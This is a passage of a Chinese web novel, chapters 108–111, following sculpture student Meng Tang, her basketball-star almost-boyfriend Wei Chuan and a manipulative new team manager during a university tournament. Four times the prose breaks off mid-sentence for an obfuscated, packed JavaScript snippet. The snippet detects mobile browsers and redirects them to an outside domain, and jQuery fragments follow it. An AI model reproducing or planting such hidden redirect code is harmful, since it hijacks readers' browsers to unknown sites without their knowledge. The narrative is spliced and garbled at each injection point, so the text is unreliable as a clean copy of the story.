孟棠茫然地睁开眼睛,反应了一会儿,才想起来自己身在何处,倏地坐直了身体,只是眼神还有些愣。 “我睡觉了?”她嘀咕着自问了一句。 魏川抓起她的手搓了搓,语气略带责备:“才三月,你就在这儿睡着了,也不怕冻着,来了为什么不跟我说一声?” 孟棠视线落在两人交握的手上,没一会儿,冻僵的指尖沾染了他的余温。 “我和杨可之前住的房子是你姐姐的?”孟棠眨巴着眼睛,开门见山。 魏川一怔:“你怎么知道的?” 孟棠说:“我回寝室的时候,无意中听到杨可说的,为什么瞒着我?” “我当时要是不瞒着你,你会去住吗?” 孟棠摇了摇头:“不会。” “那不就得了。”魏川说,“找杨可是因为她是本地人,理由也不算没逻辑,而且我三姐那套房子,是她第一次拍戏的民房小院,很普通,你也不会怀疑。” 孟棠抿了下唇,朝他笑了笑。 得到答案已经足够了。 魏川的心被她笑软了,捏了下她的脸颊,说:“你在这儿等我一下。” “好。”孟棠应了声。 坐了这么一会儿,腿都僵硬了。 孟棠起身走了两步,一阵冷风吹过,打了俩喷嚏。 “不会要感冒吧?”魏川不知道什么时候到她身后,展开长款羽绒服将她整个人包裹了起来。 孟棠挣了下,仰头看着他:“衣服给我了,你待会儿回宿舍怎么办?” 魏川蹲下,将拉链拉到顶端,说:“更衣室里还有外套,走,我送你回寝室。” “可这样,我就穿了两件了。”孟棠往下瞥了瞥自己臃肿的身躯,“路都不好走。” 魏川将两层帽子都给她戴上,笑道:“这不是挺好的,哪里不能走路了?” 孟棠想要解开,魏川一按住她的手:“不许脱,真感冒了。” 孟棠弯腰勾起落在地上的包,说:“我自己回,你回去训练吧。” “休息时间,没事。”魏川按住她后背往前推了一步,“别磨蹭了,走吧。” 孟棠边走边回头问:“接下来是不是很忙?” 魏川对上她的视线,卧蚕一弯:“还好,比赛还剩半个月,我们已经调整了体能训练,重点盯战术了。” 这段时间,孟棠也了解了不少比赛详情,尤其是去年的cubal,只要有魏川出战的,她都翻出来看了一遍。 断断续续的,竟也看完了。 “去年分区赛的冠军是南川大学,我们学校拿了第三,我看你的评论区,很多人期待你今年拿冠军,是不是压力很大?” 孟棠以前没和他说过cubal的事,基层赛淘汰赛,也是她室友磨着她去的。 她本人当时是不太感兴趣的,时隔数月,她能主动提及、关心,说明魏川在她心里的分量发生了改变。 魏川自然也品出了这点,说:“有期待,我自然压力很大,但我觉得并不是坏事,我愿意顶着这些期望披荆斩棘,因为我的目标从来也不是第二名。” Z大前几年也面临着和理工大一样球员流失的困境,从赞誉满身到嘲讽冷笑,一步步也熬了过来。 去年在无人看好的情况下,一路打到决赛,其实魏川自己都没想到能进四强。 因为他们的队员太新,可也正是新人,才有孤注一掷的勇气。 魏川每落下一个字,都像一枚钉子凿进孟棠的心里。 野心在这一刻是燎原星火,孟棠看着魏川,说:“我相信你。” 魏川向前一步,垂眸看着孟棠:“分区赛就在我们学校举行,我可以提一个要求吗?” 四目相对,孟棠眼中划过了然:“我会去看你的比赛,每一场。” 魏川心脏猛地一跳,为她的承诺。 “好。” 他的视线太过灼人,孟棠撇过头,继续向前走。 两人在女寝门口道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892661|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了别,孟棠裹着两件羽绒服,推开了寝室的门。 谢泠音直接看愣了:“你怎么穿成这样?” 石岚补充了一句:“外套也不合适,是男款,谁的啊?” 孟棠脱下外套,说:“魏川的。” 几人面面相觑,杨可一个激动,冲到她面前:“魏川的?你俩又和好了?” 孟棠摇了摇头:“没有。” 杨可十分失望,眼里都没光了。 谢泠音起身,弹了下被孟棠挂起来的衣服,问:“那你俩……现在是什么意思?” 石岚举**答:“我知道,藕断丝连。” 杨可朝她竖起大拇指:“我爱听。” 谢泠音暧昧地抵了下孟棠:“是这意思吗?” 孟棠笑道:“姑且算。” “啊啊啊……”杨可激动地抱住孟棠,“我就知道你俩还有戏。” 谢泠音拉开杨可,说:“你俩可别跟我和许鹤清学,总是分手伤感情。” 孟棠不好解释,只是笑笑。 石岚问:“那你俩打算什么时候复合?” “暂时不会想这个问题。”孟棠说,“他不是要比赛了嘛,等比赛之后,我再跟他谈吧。” 谢泠音说:“比赛确实不好分心,到时候再谈会更好。” 孟棠去柜子里找了个空袋子,将魏川的衣服叠好塞进去。 翌日上午课程结束,她饭也没吃,将衣服给魏川送了过去。 篮球队这个点也在吃饭,孟棠在侧门等了十来分钟,一群人悠悠晃晃地从景观园里走了过来。 孟棠刚要迎上去,魏川的身后追上来一个女生,给了他一瓶和别人明显不同的运动饮料。 孟棠见魏川接了,还朝对方说了句什么,不过没喝,一直握在手中。 女生很高,长得也漂亮,她稍稍抬眼,和魏川肩并肩地走着。 目光正大光明,笑容明媚可人。 离得太远,孟棠听不清她说什么,魏川没什么表情,也不知道是凝神细听,还是神游天外。 孟棠拎紧袋子,径自走了过去。 还差十来步,她忽然一顿,表情淡淡地喊:“魏川。” 第108章 没等到魏川,等到了旁人 魏川看到孟棠的一瞬间,牙花子露了出来。 他跑到孟棠面前,惊喜地问:“你怎么来了?” 孟棠将衣服给他:“还你。” 魏川接过,突然用手背贴了下她的额头:“没感冒吧?” 孟棠摇了摇头:“只是有点流清水鼻涕。” “那不就是感冒。”魏川蹙眉,但表情的心疼又柔和的,“我昨晚竟然忘了问,你在门口等了多久?” 孟棠说:“没多久,我只是太累了。” 魏川:“下次太累就回去睡觉,什么事都可以天亮再说。” “知道了。”孟棠点了点头。 魏川问:“吃饭了没有啊?” 孟棠顿了下,摇了摇头。 “怎么还没吃饭?”魏川蹙眉,“你等我一会儿,我把衣服放下,带你去吃饭。” “教练说,中午务必要保证休息。”孟棠见那个女生上前说了句。 要是让他去,孟棠显得不懂事。 她笑了笑,对魏川说:“不用,我一会儿就去,你过来一下,我有事跟你说。” “好。”魏川转头将衣服扔给田聿,“带进去,我一会儿就过去。” 余光里,女生不太情愿,回头瞥了他俩好几眼。 孟棠只当没看到。 女生问田聿:“那个女生就是魏川的女朋友吗?” 田聿点了点头:“是啊,雕塑系的孟棠,你不认识啊?” 女生摇摇头:“她经常过来?这样不打扰魏川训练吗?” 田聿说:“没有经常过来,来了也不会打扰,昨晚自己在外面等到睡着了。” 女生“哦”了声,眼眸闪过一丝异光。 只剩下两人时,孟棠问魏川:“刚才那个女生是谁啊?以前没见过。” “操,别提了。”魏川有些烦躁,“替补的球队经理,叫宁馨,话真的好多。” “那原来的球队经理呢?”孟棠问。 魏川说:“实习离职了,她是替补,就这么上来了,好在做事还行,教练挺满意的,再加上是女生,田聿他们一个个高兴着呢。” 孟棠点了点头,盯着魏川,不错露他一丝表情,问:“你高兴吗?” “我高兴个鬼。”魏川蹙起眉心,“一切都是原配的好,临近比赛突然换了人,其实是不好的,但她已经过了教练的考验,以后不出意外,会成为正式的球队经理。” 孟棠点了点头,目光落在他手中的必乐上,笑了笑:“你们球队挺有钱啊,这一瓶得要18块吧?” “我也纳闷呢。”魏川将饮料给孟棠,“拿回去喝。” 孟棠摇了摇头,该了解的也了解了,她实在不愿意耽误魏川的休息时间,便道: “我又不运动,好了,你早点进去休息,我也去吃饭了。” “真不用我陪啊?”魏川笑嘻嘻将人拦下,“有帅哥陪,吃饭更香哦。” 他那张脸已经凑到跟前了,孟棠轻笑一声,抬手推开他的脸:“别贫了,我走了。” 还陪她吃饭,真不怕贺教练将他俩撕吧撕吧扔垃圾桶啊? 魏川遗憾地“啧”了声,直至孟棠的身影消失在拐角,他才进了休息室。 看到田聿他们的佳得乐时,愣了下,宁馨拿错了? 大家都休息了,他也不好现在追究,直至下午训练前十分钟,她才将饮料还给了宁馨。 宁馨一愣:“你怎么没喝啊?” 魏川皱眉,说:“你给我的时候,我走第一个,没看见你给鸣子他们的是平时基础款的饮料,这个你是不是给错了?” 他的眼神锐利得像天上的鹰隼,宁馨干笑了声,接过去:“是我拿错了。” “你怎么做事的?”魏川毫不留情,“要是让其他人看到,还以为教练给我一个人开小灶,虽然是小小的一瓶饮料,也不利于队内团结。” “我知道了,对不起。”宁馨向他道歉,“我下次不会了,真的拿错了。” 魏川声音极小地“操”了声:“还好孟棠没要。” 宁馨唇线绷得笔直,眼泪泫然欲滴。 魏川却早已转了身,拿起篮球,狠狠投了一个三分。 孟棠下午没课,去木雕大赛的页面上看了眼投票的结果。 毫无意外,她票数第一。 心情十分不错,孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892662|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠抽出一本书,翻开到插着黄连木树叶的书签。 寝室里只有她一个人,不知不觉就看了进去,直至谢泠音打电话问她晚上吃什么,说给她带回来。 孟棠要了牛肉粉丝。 就在这时,手机又震了一下,孟棠看到信息,眯了下眼睛。 魏川给她发了个“吃没吃饭”的表情包。 孟棠笑着打字:【泠音给我带了。】 魏川:【吃的什么?】 孟棠:【牛肉粉丝。】 魏川:【我发现你是真的喜欢吃牛肉。】 孟棠:【有吗?你这会儿怎么有空了?】 秒回的人突然没了音信,要搁以前,孟棠该干什么干什么,今天盯着手机,一秒一秒地熬着。 十分钟后,魏川突然发了语音过来。 孟棠几乎秒接:“喂。” 手机那头传来一声低沉的轻笑:“一直等着我呢?” “谁等你了。”孟棠口是心非,“我看到了,顺手接的。” 谢泠音她们拎着晚饭进了寝室,孟棠笑着接过晚饭,问魏川:“打语音干什么?” “想听听你声音。”魏川的语气带着两分撒娇,“净化一下耳朵。” “喔……”谢泠音带头嗑上了。 魏川听到此起彼伏的笑,尴尬地挠了下头,做贼似的问孟棠:“你外放了啊?” 孟棠:“……寝室本来只有我一个人。” “那你先吃饭。”魏川听到塑料袋的声响,“我有空再跟你聊。” “好。”孟棠应了声,挂断了语音。 谢泠音哪里能放过她,用腰撞了下孟棠的肩:“你俩是真会玩,分手后又暧昧上了。” 孟棠埋头吃饭,装作没听见。 她和魏川的事根本不知道从哪儿解释。 吃完饭,直至上床,孟棠刻意迟睡了些,她没懂魏川那句“净化一下耳朵”是什么意思,但她直觉跟球队新来的经理有关。 直至第二天早上,也没有魏川只言片语的信息。 孟棠也不急,反正他有空会跟她说。 哪知中午下课,没等到魏川,竟在雕塑楼下等到了宁馨。 第109章 为了球队,还是为了魏川 雕塑楼下人来人往,孟棠有一种直觉,和宁馨说不上什么好话,沿着路往西走了两步。 转头时,宁馨跟了上来。 还真是来找她的,孟棠看着她,直接道:“你找我?” 宁馨勾了下唇,却没笑意,她将孟棠上上下下打量了一遍,明知故问:“你就是魏川的女朋友?” 回避无意义的人际关系,并不代表她没有底线。 孟棠见到宁馨的第一眼就不喜欢她,现在更甚。 她反问:“跟你有关系?” “自然跟我有点关系。”宁馨高昂头颅,“我暂时负责球队的后勤和训练的数据记录,发现魏川的数据下滑了5%。” “所以……”孟棠加重语气,“你觉得是我的原因?” “不然呢?”宁馨笑了声,极为冷淡,“他只要有空,就抱着手机给你发信息,球队可以谈恋爱,但不能让谈恋爱影响训练,希望你能理解。” “我理解。”孟棠拿出手机,“我这就跟魏川打电话。” “等一下。”宁馨一时没能理解孟棠的脑回路,“你给他打电话干什么?” “分手啊。”孟棠一脸无辜,“你都让我理解了,我也不好耽误你工作,更不好耽误他训练。” “……” 宁馨傻眼了,她根本不是这个意思! 就算是这个意思,也不能让孟棠给魏川打电话,不然她就暴露了。 宁馨轻咳了声,强装镇定:“看来你对他的喜欢也不过如此。” 孟棠点点头:“确实比不过他喜欢我。” “你——”宁馨哑然,不是说这个孟棠是人人可捏的软包子吗? 怎么一句比一句气人? “你说完了,现在该我问了吧?”孟棠语气很平和,没有因为宁馨的挑衅掀起一丝情绪的波澜,“我想知道,你有这个权利来跟我说这些吗?” “或者我换一个方式问你,魏川的训练数据下滑,你和教练有跟他聊过吗?” “有什么证据表明是受我影响?还是你自作主张找上了门?” 宁馨没想到孟棠这么难对付。 “没有,”宁馨憋屈道,“是我私自找你的,我也是为了球队着想,毕竟我刚来球队,想要为队里做些什么也很正常。” 孟棠“哦”了声:“是为了球队着想,还是为了魏川着想?” 空气凝固了一瞬,宁馨笑了,带着一丝挑衅:“你什么意思?” “她的意思是你应该人贱皆知。” 突然,一道冰凉的女声从头顶砸下来。 孟棠下意识往外走了几步,随后仰起了头。 谭曦趴在二楼的栏杆上,漫不经心朝她挥了挥手。 孟棠失笑,这人……显然已经光明正大听了许久。 宁馨顺着视线抬头,气急败坏:“你说谁贱呢?” “我说了吗?”谭曦耸了耸肩,眼神一片迷茫,“你心脏也就罢了,怎么耳朵也脏呢,听什么就是什么。” “你——” 宁馨被气了个半死,偏偏怒火中烧,一时又找不到什么反驳的词。 她听得很清楚,明明就是人贱皆知,不是人尽皆知。 宁馨自知讨不到什么好,扔下一句“好自为之”给孟棠,灰溜溜地走了。 谭曦白了她一眼,垂头跟孟棠说: “我说你脾气也真是好,别人都舞上门了,你还有心思跟她说废话。” 孟棠说:“下来吧,一起去吃饭。” “等着。” 谭曦下楼后,见孟棠还勾着笑,推了她一把: “我说你怎么也不急啊,就不怕男朋友被人家抢走?” 孟棠朝她笑笑:“他们以后要朝夕相处,真的能抢走的话,我做什么都没用。” “朝夕相处,那也膈应啊。”谭曦为孟棠打抱不平。 孟棠勾了勾唇,心想:膈应的人怕是魏川吧。 进了食堂,两人打了饭,在一楼的窗口坐下。 吃一半时,手机响了起来。 谭曦瞥到来电显示,“**”一声:“不会是刚才那绿茶回去跟魏川说什么了吧?” 孟棠伸出食指“嘘”了声:“我接一下。” 谭曦点了点头。 “你吃饭了没?” 电话接通,魏川上来就问了这句。 孟棠没忍住,笑声通过无线电波酥酥麻麻传进魏川的耳里。 “我问你吃了没,你笑什么?”魏川不自觉也勾起嘴角。 “你每次都这么问。”孟棠说,“我在学校,还能饿着了?” 魏川跟她贫:“这不是咱中国人的经典开场嘛。” “还在吃。”孟棠顺手夹了块排骨,“你有事啊?” “我找你还能有什么事,又见不到,还不能打个电话听听声音了?”魏川哼了声。 孟棠顿了下筷子,问:“不耽误你训练?” “我就打个电话的工夫,能耽误我什么训练?”魏川失笑,“怎么搞得你很紧张一样。” 孟棠意味不明地哼了声:“不耽误训练就好,你昨天是不是有事跟我说?” 魏川说:“就是想跟你吐槽一下,又发现好像是背后说人坏话,索性算了。” “是你们的替补经理?”孟棠试探性地问了句。 “你怎么知道?”魏川忽然美了,“你不会跟我心有灵犀吧?那咱俩还真是天生一对。” 孟棠:“……谁跟你天生一对。” 要不是看他还有几天就要比赛的份上,她一定会直接去问他,知不知道你们的替补经理喜欢你啊。 但听魏川的劲儿,大概是不知道的。 孟棠又问:“她怎么你了?你要净化一下耳朵?” “我也不知道为什么,总爱往我跟前凑。”魏川蹙眉,“我训练有自己的节奏,她拿着一堆数据,说我这样那样的,烦,教练都没说什么。” 孟棠阴阳怪气:“说不定人家就是为了球队着想呢,你可别烦,带着情绪去比赛,你觉得行吗?” 魏川扒拉了下自己的短发,乖乖应了声:“知道了。” 孟棠轻笑:“挂了吧,我要回寝室了。” 谭曦听了全程,在孟棠挂断电话后,说:“28号比赛就开始了,咱有主场优势,魏川顶得住吗?” 孟棠早就了解过,比赛分了四个大赛区,他们属于东南赛区。 每个赛区的前6名,加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892663|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上附加赛的8支队伍,组成全国32强。 她觉得魏川一定会晋级,但……他想拿第一。 “分区赛的话,肯定会顶住。”孟棠说,“只不过是名次的问题,东南王谁都想要,可只有一个。” “最后剩下的都是强队,打第一其实不容易。” “前六名可以直接晋级全国赛,如果魏川他们拿了第一,对后面的全国赛是很有帮助的。” “积累的信心和经验都可以让他们去调整一个最好的状态。” 谭曦听着孟棠侃侃而谈,笑着凑近:“好的爱情会让人进步,你以前可不懂这些啊。” 孟棠不自在地清了下嗓子,这些本来也不难懂,只是以前,她没什么兴趣罢了。 比赛要到下个月的五号才能结束,结束后,她会和魏川交流一下想法。 让她大喇喇地告白,她也做不到。 但千万人潮里,心动难寻,她得送个东西给魏川,算是定情。 回到寝室,孟棠翻开日历,决定这个周末回去一趟。 这件事,她没和魏川说。 回到家时,还是孟怀璋接的她。 父女俩还是不怎么熟。 孟棠去见了老爷子,寒暄了一番,问:“你们最近相处还好吗?” 孟遇春刮着茶沫子,说:“挺好的,你爸爸上班去了。” 孟棠一愣:“他找到工作了?” 孟遇春点了点头:“让他去木材厂了。” 这样也好,孟棠没吱声。 孟怀璋自小耳濡目染,雕刻不感兴趣,对木材还是有点认知的。 如果以后做了采购和加工,也可以为其他匠人或者家里提供原料。 “你这次怎么不声不响回来了?”孟遇春抬头瞥了眼孟棠,“回来有事?” 孟棠点了点头,直接道:“我要取前院的那只蝉。” 孟遇春一愣:“送人?” “嗯。” 孟遇春大概也猜到了,说:“我好几个老友想要买你的那只蝉,我没卖,你知道是因为什么吗?” “知道。” 这是她17岁时雕刻的作品,那个年纪属于少女怀春。 老爷子见她下刀跟绣花似的,取笑了几声。 孟棠却说:“木上听蝉鸣,我刻的是我的心声。” “遇见看不懂的怎么听呢?”孟遇春故意臊她。 孟棠说:“我说给他听呗。” 即便我现在,她也是这句话。 比赛前一天,各篮球度抵达z市,下榻周边的合作酒店。 但不是所有队伍都在一个酒店,最起码,种子队有赞助商安排,酒店更高档一些,也有专程的大巴接送。 z大是主场,所以魏川他们自然是住学校的宿舍。 隔天傍晚五点,开幕式在z大新落成的体育馆举行。 从入场、致辞,再到表演、抽签,估计要到7点才能结束。 场馆内,体育频道的直播组和省台,以及网红媒体全都架着**短炮。 小组抽签,分了四组,每组五个队,魏川所在球队分在了A组。 镜头紧跟魏川,魏川丝毫不知道收敛,对着远处观众席的某人比了个心。 第110章 你下次在场上,别对我做乱七八糟的动作 观众席疯了似的。 贺教练指了指魏川:“别浪。” 魏川鼓了下腮帮子,暗戳戳又瞄了好几眼孟棠,眼珠子整个偏移到边上。 看直播的人也疯了—— “**,导播你敢不敢将镜头转一下啊,魏甜看的是谁啊?” “是他女朋友吧?之前不是说有主了?” “我都存疑了,因为几个月过去,他俩在平台上没有一点互动。” “难道是川子挡桃花随口说的?” “怎么可能,之前有人蛐蛐他女朋友,他女朋友的室友现身说法,川子点赞了啊。” “我也记得,两人说相声似的怼倒一片。” “可恶啊,川子这么甜,这么帅,我就想看看他对象怎么了?(仰天大哭)他对象会不会太低调了啊。” “好消息:镜头转了,坏消息:一片人。” “有没有大神分析一下。” “乌压压一群人,这特么的鬼才能分析出来。” 楚茵和魏立峰坐在客厅的沙发上,也看着魏川的开幕式直播。 看到很多关于“女朋友”的字眼,她转头跟魏思嘉说: “你弟弟之前不是说,只是为了挡桃花随口胡诌有对象的吗?怎么这上面说的有鼻子有眼?” 魏立峰皱了皱眉:“捕风捉影罢了,你儿子你不知道?他谈恋爱的话,前一天晚上确认关系,等不到第二天就得通报全家。” 魏思嘉但笑不语。 开幕式在晚上七点十五分结束,不少人晚饭也没吃,直接去的现场,孟棠自然也是。 不过许久没见魏川,她没急着走。 趁乱见一面,应该能聊五分钟。 谢泠音抵了抵她:“魏川过来了,我们在门口等你。” 孟棠“嗯”了声。 魏川踏上观众席的台阶,老远就问:“你是不是还没吃呢?” 孟棠点了点头:“待会儿跟泠音她们出去吃。” 明天开始比赛,魏川的神经一直兴奋地跳跃着。 他盯着孟棠看了会儿,突然拉过她的手,说:“比赛结束,我有话跟你说。” 孟棠回:“你比赛结束,我也有话跟你说。” 魏川等不及了,问:“什么事?不能现在说吗?” “那你的事现在能说吗?”孟棠反问。 不能!太影响比赛心情。 魏川叹了声气:“算了,比完赛再说,吃饭去吧。” 孟棠应了声,刚要走,又倏地转过身:“你下次在场上,别对我做乱七八糟的动作。” 耳朵都要被震聋了。 “忍不住怎么办?”魏川故意逗她。 孟棠扔下一句“凉拌”,转身走了。 看样子不像是害羞,但也没生气。 魏川心下了然。 孟棠和室友去东门吃了米线,她们到的时候,店里已经挤满了人。 好在有人吃完腾出了位置。 石岚占了位置,按照室友的口味直接点了四份米线。 等餐的工夫,四个人默契地拿着手机开始刷。 因为都关注了本校的男篮队,石岚一下刷到了一分钟之前的动态。 “操。”石岚没忍住骂道,“这女的有病吧?” 杨可凑了过去:“怎么了?” “你看。”石岚将手机给她看。 杨姐下意识蹙眉,随后看了眼孟棠。 孟棠指了指自己:“跟我有关?” 石岚和杨可同时点了点头。 谢泠音伸手:“手机给我。” 石岚将手机给她,谢泠音往中间倾过身体,带着孟棠一起看。 文案很正常——全员就位,明日开打! 拍摄地点就是比赛场地,但令人无语的是,宁馨挽着魏川的手臂。 “她是不是有病?”谢泠音也忍不住动气,“魏川就这么让她搂着啊?” 孟棠盯着手机看了许久,内心涌起万般滋味。 理智上,她相信魏川,但看到这种合影,她也不可能无动于衷。 就在这时,米线上来了。 孟棠见手机给了石岚,说:“先吃饭吧,回去再说。” 石岚急着要说什么,谢泠音示意她看了看四周。 人太多,确实不合适说这些。 来这里吃饭的都是学生,谁不认识魏川啊。 米线太烫,孟棠放慢了速度,正好也转转脑子。 回去的路上,她也一直沉默着。 直至推开了寝室的门,石岚实在憋不住了,一把抓住孟棠:“你到底怎么想的?” 孟棠笑了笑:“没怎么想,洗漱睡觉。” “啊?”石岚怀疑自己的耳朵出了问题,“你还有心思睡觉?” 孟棠笑了下,说:“你们不知道她吧?她叫宁馨,篮球队替补的经理,大三的。” 谢泠音问:“那她跟魏川……” “如果我猜得不错,她应该喜欢魏川。”孟棠靠着桌子,慢悠悠地说,“之前找过我。” “找你干嘛?”谢泠音问,“你和魏川的事,只有我们两个寝室的知道,按理说,你在他们眼里,就是魏川的女朋友,她还找你干什么?” 孟棠将半月前的事说了一遍。 石岚一锤定音:“绿茶石锤了。” 杨可呵呵了一声:“喜欢魏川也石锤了。” 谢泠音若有所思:“她这是跟你抢人来了啊?” 石岚和杨可对视了一眼,异口同声问孟棠:“你打算怎么办?” 孟棠说:“以不变应万变。” 石岚:“什么意思啊,你给我说清楚。” 孟棠一一看过去,问:“你们觉得,魏川这个人,如果看到了宣传合影,他会让发出去吗?” 杨可第一个摇头:“我觉得不会,咱以前跟他不熟的时候,他就有男德,这点谁不知道。” 石岚也点头:“我也觉得他应该不知道,魏川这个条件,想搞暧昧,想脚踏两只船,不要太简单。” 谢泠音看着孟棠,说:“我也觉得不会。” “那不就得了。”孟棠说,“球队后勤宣传这些事,应该都经过宁馨的手,她有可能也在试探我。” 谢泠音拍了下手:“懂了,她故意让你看到照片,去找魏川质问。” 孟棠:“对,可魏川要比赛啊,他的状态已经调整好了,我要是去了,因为这点事输了比赛,我难辞其咎。” “我靠。”杨可瞪着眼,“这女的好心机啊。” 石岚:“谁说不是呢,而且我们学校的教练,不管是女篮还是男篮,重要比赛期间都是禁手机的,魏川根本看不到。” 杨可:“可当时宁馨挽上去,魏川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892664|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定知道啊。” “你傻啊。”谢泠音推了下她额头,“这么有心机的人,被发现了,直接道歉说挽错了人,人家笑眯眯道歉,魏川一个男生还能跟她计较?” “所以……”石岚顿了下,“这张原本应该被删除的照片,应该是宁馨私自上传的,魏川还真有可能不知道。” 孟棠也偏向于这个猜想。 全寝的人分析了一波,各自欢快地洗了澡。 孟棠吹干头发,爬上了床。 她打开手机,进了男篮队的主页,将那张刺眼的合影截了图。 防止有些人不认,或者又重新编辑。 等比赛结束后,她一定会跟魏川挑明。 孟棠将心思放到明日的比赛上。 去年名次靠前的,依次位列小组第一位,其余是抽签决定的。 赛程基本和基层赛差不多,也是小组赛加淘汰赛。 因为一组5队人,所以每组要打4场循环赛,前四出线,第五淘汰。 淘汰赛就是16强交叉对阵,决赛前是没有复活赛的,属于单场定生死。 隔天下午两点,z大对阵闽州大学。 这场比赛其实毫无压力,稳赢的一局。 魏川开场即统治,三分钟内连中4记三分,轮换时替补上场,直至第三节他重新登场,这次单纯助攻。 末节又提前离场,z大最终以92:65的成绩赢了闽州大学。 毫无悬念的一场比赛,甚至都没什么看点。 哦,不对,也有看点。 宁馨给魏川递毛巾的瞬间在网络上火了,当然仅限于关注cubal的圈子。 不少不了解情况的球迷将宁馨错认成魏川的女朋友。 孟棠看到时,简直气笑了。 太刻意了!是吃准她现在不敢吧。 好在孟棠本身也不是急性子的人。 石岚气晕了,抵了抵孟棠:“我发现一个事,你看,我感觉这个id像宁馨的小号。” 孟棠凑过去,发现这个小号很眼熟。 石岚说:“眼熟吧,叫雪涵,就是之前魏川说自己有主了,她评价魏川眼光不好的。” 孟棠一愣:“她是宁馨?” 石岚:“只是怀疑,我让杨可翻了她的大号,我俩做了一个对比,发现用词习惯很像,结尾都喜欢加个波浪号。” “而且小号也关注了CUBAL和魏川,上线时间也经常一前一后,小号上甚至还花痴魏川呢。” “而且她小号里有一张像偷拍,是从门缝中拍的一个身影,但是看不到脸,你看像魏川吗?” 孟棠凑过去看,照片的背影是更衣室,魏川他们队里连着替补就有不少人。 和魏川身高相近,身材相当的也有几个。 更何况照片还做了模糊处理,根本看不出来。 但这样的角度,一般人拍不到,像队内的人拍的。 孟棠想留个证据,说:“你俩把手机放好,我拍个照片。” 石岚笑道:“比赛后要找魏川算账啊。” 孟棠却蹙起眉头:“我只是觉得,照片若真是宁馨拍的,她便不可以再在球队里待下去。” “可这是猜测,你能让她离开?” 孟棠瞥了眼那张模糊不清的背影照,冷淡道:“不知道能不能,总要试试。” 第111章 他每次都能一眼狙到你 小组赛第二轮,z大对中陆理工。 今日来看现场的,只有孟棠和谢泠音,魏川的室友倒是全来了。 梁衡坐在孟棠身边,嘿嘿一笑:“你要是有什么不懂,尽管问我,川哥交代的。” “谢谢。”孟棠带着鼻音笑了笑。 基础规则她懂了,但解说的专业术语她不懂。 但其实普通人看球,只要自己关注的队伍进球就行。 孟棠打开保温杯喝了口,近日天气升温,她昨晚贪凉,蹬掉了被子。 早上起来嗓子不太舒服,就知道自己要感冒,头也有些痛。 其实现场的激烈氛围,对于孟棠来说实在不适。 削木、磨刀、刻线……十几年的静气早已在她体内生了根,发了芽。 可她答应了魏川,会来看他的每一场比赛。 聚光灯刺破体育馆的每一个角落,两个球队在震耳欲聋的欢呼中被请了出来。 作为主场,z大的人气太过恐怖。 魏川的目光扫过应援旗,又不经意地扫了眼孟棠。 孟棠微微歪了下头,朝他笑了笑。 谢泠音就在孟棠旁边,将一切尽收眼底,她倾身在孟棠耳边说: “也真是奇了,他每次都能一眼狙到你。” 孟棠回她:“我们一直坐这一片,他看见也正常吧?” “你自己下去看看就知道了。”谢泠音指了指场地,“乌压压一群人,根本分不清楚。” 孟棠说:“也可能只是巧合。” 正好就看见她了。 其实比赛之前,魏川说可以在前排给她留个位置,孟棠实在惧怕镜头,也怕打扰他,便拒绝了。 藏在人群里看他打球,她也能在声潮中压抑一下心跳,离得近了,什么眼神都藏不住。 魏川那性格,朝她飞吻都是克制的。 比赛正式开始,中陆理工的中锋凭借身高优势率先抢了球。 几乎同时,魏川向己方半场移动两步,卡住对方控卫的接球路线。 现场解说今天跟打了鸡血似的,开头就夸上了: “看得出来,魏川已经提前预判,他的站位很精准啊,既能干扰对方的长传,又不会失去对位防守人,这退防……太老道了!” 中陆理工接球后执行Fist2战术,小前锋和中锋形成了一道双人掩护墙。 另外,他们的分卫沿底线反向空切,带走了z大防守的注意力。 中陆理工的9号接球后,后撤步退到三分线外。 田聿回防慢了点,对面直接三分出手,空心入网。 3比0,现场一阵欢呼,但更多的还是泄气声。 作为主场,开场丢了三分,也算没面子。 对方还朝魏川露了个轻蔑的笑。 